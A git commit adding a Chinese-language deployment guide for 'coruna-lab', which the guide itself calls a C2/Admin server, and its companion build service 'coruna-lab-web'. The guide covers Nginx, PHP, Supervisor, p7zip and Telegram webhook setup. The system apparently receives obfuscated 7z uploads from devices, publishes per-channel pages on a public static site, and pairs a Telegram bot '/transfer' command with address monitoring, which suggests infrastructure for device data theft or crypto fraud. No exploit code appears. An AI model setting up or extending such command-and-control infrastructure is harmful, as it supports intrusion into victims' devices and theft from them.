admin
This commit is contained in:
@@ -0,0 +1,512 @@
|
||||
# 宝塔部署指南(coruna-lab + coruna-lab-web)
|
||||
|
||||
同机部署、职责分离。构建 API 仅本机访问;Admin / C2 与静态产物站对外。
|
||||
|
||||
兄弟项目构建细节另见 `[../../coruna-lab-web/docs/BUILD_API.md](../../coruna-lab-web/docs/BUILD_API.md)`。
|
||||
|
||||
## 架构
|
||||
|
||||
|
||||
| 角色 | 项目 / 路径 | 对外 | 进程 |
|
||||
| ---------- | -------------------------- | ---------------------------- | ----------------- |
|
||||
| C2 / Admin | `coruna-lab` | `https://admin.example.com` | Nginx + PHP-FPM |
|
||||
| 静态产物站 | `coruna-lab-web/artifacts` | `https://static.example.com` | Nginx 只读静态 |
|
||||
| Build API | `coruna-lab-web` | **仅本机** `127.0.0.1:8081` | Supervisor / 进程守护 |
|
||||
|
||||
|
||||
```text
|
||||
设备 / 运营
|
||||
│
|
||||
├─ Admin / C2 API ──► coruna-lab (Laravel)
|
||||
│ │
|
||||
│ └─ HTTP Bearer ──► 127.0.0.1:8081 (build_api)
|
||||
│ │
|
||||
│ ▼
|
||||
└─ /channel/<id>/web|sync ──► static 站点 ──► artifacts/
|
||||
```
|
||||
|
||||
建议目录:
|
||||
|
||||
```text
|
||||
/www/wwwroot/coruna-lab/
|
||||
/www/wwwroot/coruna-lab-web/
|
||||
```
|
||||
|
||||
防火墙只放行 80/443;**不要**把 `8081` 暴露到公网。
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 0. 服务器准备
|
||||
|
||||
软件商店安装:
|
||||
|
||||
- Nginx
|
||||
- MySQL 8.0
|
||||
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
|
||||
- Python 3.10+(系统或面板)
|
||||
- Composer(建议 ≥ 2.2,见下文排错)
|
||||
|
||||
PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp**
|
||||
|
||||
系统包:`p7zip-full`(或等价)、`git`
|
||||
|
||||
### PHP 多版本
|
||||
|
||||
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
|
||||
CLI 请显式使用对应二进制,例如:
|
||||
|
||||
```bash
|
||||
/www/server/php/82/bin/php -v
|
||||
/www/server/php/82/bin/php artisan migrate
|
||||
```
|
||||
|
||||
扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。
|
||||
|
||||
### PHP 运行参数(FPM / 网站)
|
||||
|
||||
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`)
|
||||
|
||||
建议:
|
||||
|
||||
```ini
|
||||
upload_max_filesize = 64M
|
||||
post_max_size = 64M
|
||||
max_execution_time = 600
|
||||
max_input_time = 600
|
||||
```
|
||||
|
||||
- `post_max_size` ≥ `upload_max_filesize`
|
||||
- Admin 触发构建会同步等待 lab-web,超时与 `.env` 中 `CORUNA_BUILD_SERVICE_TIMEOUT` 对齐(建议 ≥ 600)
|
||||
- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准
|
||||
|
||||
Nginx 站点配置建议同时加大:
|
||||
|
||||
```nginx
|
||||
client_max_body_size 64m;
|
||||
```
|
||||
|
||||
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 1. 部署 coruna-lab-web(先部署)
|
||||
|
||||
|
||||
|
||||
### 1.1 代码与依赖
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab-web
|
||||
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
pip install -r requirements.txt
|
||||
pip install -r frontend/tools/requirements.txt
|
||||
|
||||
mkdir -p artifacts
|
||||
chown -R www:www artifacts # 按面板运行用户调整
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 1.2 `.env`
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
python3 -c 'import secrets; print(secrets.token_urlsafe(48))' # 生成 token
|
||||
```
|
||||
|
||||
示例:
|
||||
|
||||
```dotenv
|
||||
BUILD_API_TOKEN=用长随机串替换
|
||||
BUILD_API_ARTIFACT_ROOT=/www/wwwroot/coruna-lab-web/artifacts
|
||||
BUILD_API_PROJECT_SCRIPT=/www/wwwroot/coruna-lab-web/frontend/tools/new_project.py
|
||||
BUILD_API_PYTHON=/www/wwwroot/coruna-lab-web/.venv/bin/python
|
||||
BUILD_API_HOST=127.0.0.1
|
||||
BUILD_API_PORT=8081
|
||||
BUILD_API_TIMEOUT=900
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 1.3 进程守护
|
||||
|
||||
宝塔 → Supervisor / 进程守护管理器:
|
||||
|
||||
|
||||
| 项 | 值 |
|
||||
| ---- | ----------------------------------------------------------- |
|
||||
| 名称 | `coruna-build-api` |
|
||||
| 启动用户 | `www` |
|
||||
| 运行目录 | `/www/wwwroot/coruna-lab-web` |
|
||||
| 启动命令 | `/www/wwwroot/coruna-lab-web/.venv/bin/python -m build_api` |
|
||||
|
||||
|
||||
验证:
|
||||
|
||||
```bash
|
||||
curl -s http://127.0.0.1:8081/health
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 1.4 静态站(只暴露 web / sync)
|
||||
|
||||
新建站点(如 `static.example.com`):
|
||||
|
||||
- 根目录:`/www/wwwroot/coruna-lab-web/artifacts`
|
||||
- 关闭 PHP
|
||||
- SSL 按需开启
|
||||
|
||||
配置示例(正则含 `{32}` 时**必须加引号**,否则 Nginx 会把 `{` 当配置块):
|
||||
|
||||
```nginx
|
||||
server {
|
||||
listen 80;
|
||||
listen 443 ssl http2;
|
||||
server_name static.example.com;
|
||||
root /www/wwwroot/coruna-lab-web/artifacts;
|
||||
|
||||
location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" {
|
||||
try_files $uri =404;
|
||||
add_header Cache-Control "public, max-age=300";
|
||||
}
|
||||
|
||||
location / {
|
||||
return 404;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
改完:
|
||||
|
||||
```bash
|
||||
nginx -t && nginx -s reload
|
||||
```
|
||||
|
||||
公开 URL:
|
||||
|
||||
```text
|
||||
https://static.example.com/channel/<id>/web/support.html
|
||||
https://static.example.com/channel/<id>/sync/daily.html
|
||||
```
|
||||
|
||||
`staging/`、`locks/`、`manifest.json`、`out/` 等不得对外。
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 2. 部署 coruna-lab
|
||||
|
||||
|
||||
|
||||
### 2.1 站点
|
||||
|
||||
新建站点(如 `admin.example.com`):
|
||||
|
||||
- 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`)
|
||||
- PHP:8.2+
|
||||
- 伪静态:Laravel
|
||||
|
||||
```nginx
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 2.2 Composer
|
||||
|
||||
需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。
|
||||
|
||||
```bash
|
||||
# 若 /usr/bin/composer 过旧,安装新版本:
|
||||
curl -sS https://getcomposer.org/installer \
|
||||
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
|
||||
|
||||
/www/server/php/82/bin/php /usr/local/bin/composer -V
|
||||
|
||||
cd /www/wwwroot/coruna-lab
|
||||
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
|
||||
```
|
||||
|
||||
常见错误见文末「排错」。
|
||||
|
||||
### 2.3 环境与数据库
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# 编辑 .env(见下节)
|
||||
|
||||
/www/server/php/82/bin/php artisan key:generate
|
||||
chown -R www:www storage bootstrap/cache
|
||||
chmod -R ug+rwx storage bootstrap/cache
|
||||
|
||||
# 宝塔创建 MySQL 库/用户后:
|
||||
/www/server/php/82/bin/php artisan migrate --seed
|
||||
```
|
||||
|
||||
默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。
|
||||
|
||||
### 2.4 `.env` 要点
|
||||
|
||||
```dotenv
|
||||
APP_ENV=production
|
||||
APP_DEBUG=false
|
||||
APP_URL=https://admin.example.com
|
||||
|
||||
DB_CONNECTION=mysql
|
||||
DB_HOST=127.0.0.1
|
||||
DB_PORT=3306
|
||||
DB_DATABASE=coruna
|
||||
DB_USERNAME=...
|
||||
DB_PASSWORD=...
|
||||
|
||||
ADMIN_USERNAME=admin
|
||||
ADMIN_PASSWORD=改成强密码
|
||||
|
||||
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
|
||||
SESSION_DRIVER=file
|
||||
SESSION_LIFETIME=120
|
||||
SESSION_ENCRYPT=false
|
||||
SESSION_PATH=/
|
||||
SESSION_DOMAIN=null
|
||||
SESSION_SECURE_COOKIE=true
|
||||
SESSION_SAME_SITE=lax
|
||||
|
||||
# 同机 Build API(token 与 lab-web BUILD_API_TOKEN 一致)
|
||||
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
|
||||
CORUNA_BUILD_SERVICE_TOKEN=与 BUILD_API_TOKEN 相同
|
||||
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
|
||||
CORUNA_BUILD_SERVICE_TIMEOUT=600
|
||||
|
||||
CORUNA_STATIC_SITE_BASE_URL=https://static.example.com
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
|
||||
CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example
|
||||
|
||||
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
|
||||
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
||||
|
||||
TELEGRAM_BOT_TOKEN=
|
||||
TELEGRAM_OWNER_CHAT_ID=
|
||||
# 可选;设置后注册 webhook 时会带 secret_token
|
||||
TELEGRAM_WEBHOOK_SECRET=
|
||||
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
|
||||
```
|
||||
|
||||
改 `.env` 后(**登录 / Session 依赖这一步**):
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
chown -R www:www storage/framework/sessions
|
||||
chmod -R ug+rwx storage/framework/sessions
|
||||
|
||||
# 生产可再:
|
||||
# /www/server/php/82/bin/php artisan config:cache
|
||||
# /www/server/php/82/bin/php artisan route:cache
|
||||
# /www/server/php/82/bin/php artisan view:cache
|
||||
```
|
||||
|
||||
浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。
|
||||
|
||||
### 2.5 p7zip(C2 入库)
|
||||
|
||||
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与渠道构建拆到 lab-web 无关。
|
||||
|
||||
Debian / Ubuntu(宝塔常见):
|
||||
|
||||
若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
|
||||
|
||||
```bash
|
||||
mv /etc/apt/sources.list.d/gitlab-ce.list \
|
||||
/etc/apt/sources.list.d/gitlab-ce.list.disabled
|
||||
|
||||
apt update
|
||||
apt install -y p7zip-full
|
||||
command -v 7z
|
||||
```
|
||||
|
||||
拷到项目(规避 `open_basedir`):
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
mkdir -p bin
|
||||
cp "$(command -v 7z)" bin/7z
|
||||
chmod +x bin/7z
|
||||
```
|
||||
|
||||
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
|
||||
|
||||
### 2.6 Telegram Webhook(上线必做)
|
||||
|
||||
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
|
||||
|
||||
```text
|
||||
https://<APP_URL>/hooks/telegram
|
||||
```
|
||||
|
||||
1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串)
|
||||
2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径)
|
||||
3. 确保站点已上 SSL,Telegram 能访问该 URL
|
||||
4. 注册 webhook:
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
|
||||
# 使用 APP_URL + /hooks/telegram
|
||||
/www/server/php/82/bin/php artisan telegram:set-webhook
|
||||
|
||||
# 或显式指定:
|
||||
/www/server/php/82/bin/php artisan telegram:set-webhook \
|
||||
'https://admin.example.com/hooks/telegram'
|
||||
```
|
||||
|
||||
成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。
|
||||
|
||||
更换域名或 token 后需重新执行本命令。
|
||||
|
||||
可选(地址监控):若启用 Tokenview,可另执行:
|
||||
|
||||
```bash
|
||||
/www/server/php/82/bin/php artisan tokenview:set-webhook
|
||||
# 默认 → https://<APP_URL>/hooks/tokenview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 3. 联调检查清单
|
||||
|
||||
1. `curl -s http://127.0.0.1:8081/health` 正常
|
||||
2. Admin 登录 `https://admin.example.com/admin/login`
|
||||
3. 后台新建渠道 → 构建成功(lab-web 进程日志无报错)
|
||||
4. 打开静态站 support / daily 页
|
||||
5. `manifest.json`、`/staging/` 等返回 404
|
||||
6. C2 上报与 7z 入库正常
|
||||
7. `telegram:set-webhook` 成功;Bot 能收到指令
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 4. 日常运维
|
||||
|
||||
|
||||
| 动作 | 命令 / 操作 |
|
||||
| ---------- | --------------------------------------------------------------- |
|
||||
| 更新 lab-web | 拉代码 → `pip install -r ...` → 重启 Supervisor 进程 |
|
||||
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
|
||||
| 备份 | MySQL + `artifacts/` |
|
||||
| 构建超时 | 同时加大 `BUILD_API_TIMEOUT` 与 `CORUNA_BUILD_SERVICE_TIMEOUT` |
|
||||
|
||||
|
||||
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 5. 排错摘要
|
||||
|
||||
|
||||
|
||||
### Composer:`putenv()` undefined
|
||||
|
||||
PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
|
||||
|
||||
### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2`
|
||||
|
||||
`/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。
|
||||
**不要**用 `composer update`「修」这个问题——lock 本身通常没问题。
|
||||
|
||||
### Composer:缺少 `ext-gmp`
|
||||
|
||||
软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认:
|
||||
|
||||
```bash
|
||||
/www/server/php/82/bin/php -m | grep -i gmp
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Nginx:`unknown directive "32}/(web|sync)/"`
|
||||
|
||||
location 正则未加引号,`{32}` 被当成配置块。改为:
|
||||
|
||||
```nginx
|
||||
location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" {
|
||||
```
|
||||
|
||||
|
||||
|
||||
### `apt` 因 gitlab-ce 源 404 失败
|
||||
|
||||
```bash
|
||||
mv /etc/apt/sources.list.d/gitlab-ce.list \
|
||||
/etc/apt/sources.list.d/gitlab-ce.list.disabled
|
||||
apt update
|
||||
```
|
||||
|
||||
|
||||
|
||||
### `cp "$(command -v 7z)"` 报 `cannot stat ''`
|
||||
|
||||
未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。
|
||||
|
||||
### CLI `max_execution_time => 0`
|
||||
|
||||
CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
|
||||
|
||||
### 后台登录 HTTP 444
|
||||
|
||||
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。
|
||||
|
||||
### 后台登录方式(改造后)
|
||||
|
||||
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
|
||||
- 失败限流:同一账号+IP 约 5 次 / 60 秒
|
||||
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
|
||||
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
|
||||
|
||||
### 后台登录 HTTP 419(Page Expired)
|
||||
|
||||
请求已进 Laravel,多为 CSRF / Session。确认:
|
||||
|
||||
1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null`
|
||||
2. 执行:
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
chown -R www:www storage/framework/sessions
|
||||
chmod -R ug+rwx storage/framework/sessions
|
||||
```
|
||||
|
||||
1. 浏览器清除该站 cookie 后重试
|
||||
|
||||
裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 6. 分机部署(可选)
|
||||
|
||||
lab 与 lab-web 不同机时:
|
||||
|
||||
- lab-web 内网 Nginx 反代 `127.0.0.1:8081`,仅放行 lab 机器 IP
|
||||
- Laravel:`CORUNA_BUILD_SERVICE_URL=https://builds.internal.example`
|
||||
- 静态站仍指向 lab-web 的 `artifacts`
|
||||
|
||||
同机部署时不必单独建公网 builds 站点。
|
||||
Reference in New Issue
Block a user